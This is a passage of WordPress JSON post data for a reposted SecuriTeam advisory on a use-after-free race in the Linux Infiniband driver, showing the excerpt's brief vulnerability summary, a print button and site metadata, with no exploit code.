Time: 0.0028 seconds] -->  <\/p>\n<p>&nbsp;<\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3727\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Ori Nimron| Date: Thu, 02 Aug 2018 12:10:25 +0000<\/strong><\/p>\n<p>Vulnerability Summary A bug in the threads synchronization of Infiniband Driver can cause an Use After Free. A struct that is allocated and free&#8217;d by a thread, is accessible through a second thread. If the second thread is calling the function &#8220;idr_find&#8221; before the struct was free&#8217;d by the first thread, then he can still &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3727\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Infiniband Linux Driver UAF<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[10757,13145],"class_list":["post-13000","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-securiteam-secure-disclosure","tag-use-after-free"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/13000","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=13000"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/13000\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=13000"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=13000"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=13000"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}